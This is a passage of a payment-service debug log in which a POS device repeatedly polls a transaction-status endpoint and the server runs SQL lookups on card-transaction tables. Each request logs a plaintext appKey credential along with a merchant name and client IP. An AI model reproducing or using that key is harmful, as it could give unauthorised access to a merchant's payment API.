SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:23.118000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36494] QUERY OK source="pos_temp_transaction" db=2.5ms queue=0.1ms idle=919.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:23.123000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36494] QUERY OK source="pos_failed_transaction" db=4.1ms queue=0.1ms idle=922.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:23.124000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36494] QUERY OK source="cloud_transaction" db=0.9ms queue=0.1ms idle=927.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:23.125000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36494] Sent 200 in 27ms
[Fri Sep  4 10:59:28.114000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36496] POST /api/device/status
[Fri Sep  4 10:59:28.115000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:36496] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:28.115000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36496] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:28.117000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36496] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:28.134000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36496] QUERY OK source="pos_transaction" db=16.1ms queue=0.2ms idle=1921.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:28.136000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36496] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1939.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:28.140000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36496] QUERY OK source="pos_failed_transaction" db=3.1ms idle=1939.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:28.141000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36496] QUERY OK source="cloud_transaction" db=0.8ms idle=1942.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:28.141000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36496] Sent 200 in 27ms
[Fri Sep  4 10:59:33.118000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:57082] POST /api/device/status
[Fri Sep  4 10:59:33.119000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:57082] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:33.119000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:57082] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:33.119000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:57082] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:33.133000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57082] QUERY OK source="pos_transaction" db=13.5ms queue=0.1ms idle=1922.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:33.134000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57082] QUERY OK source="pos_temp_transaction" db=0.5ms queue=0.1ms idle=1936.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:33.137000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57082] QUERY OK source="pos_failed_transaction" db=2.8ms idle=1937.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:33.138000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57082] QUERY OK source="cloud_transaction" db=0.7ms idle=1334.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:33.138000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:57082] Sent 200 in 20ms
[Fri Sep  4 10:59:38.281000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:57098] POST /api/device/status
[Fri Sep  4 10:59:38.283000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:57098] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:38.283000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:57098] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:38.283000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:57098] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:38.304000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57098] QUERY OK source="pos_transaction" db=21.0ms idle=1085.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:38.310000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57098] QUERY OK source="pos_temp_transaction" db=5.8ms idle=468.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:38.314000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57098] QUERY OK source="pos_failed_transaction" db=3.5ms idle=351.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:38.317000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:57098] QUERY OK source="cloud_transaction" db=1.9ms queue=0.1ms idle=268.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:38.318000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:57098] Sent 200 in 37ms
[Fri Sep  4 10:59:43.265000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:49396] POST /api/device/status
[Fri Sep  4 10:59:43.266000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:49396] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:43.266000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:49396] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:43.266000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:49396] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:43.285000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49396] QUERY OK source="pos_transaction" db=18.3ms idle=1068.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:43.287000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49396] QUERY OK source="pos_temp_transaction" db=1.3ms queue=0.4ms idle=1087.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:43.290000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49396] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1089.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:43.291000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49396] QUERY OK source="cloud_transaction" db=0.5ms queue=0.1ms idle=1092.5ms
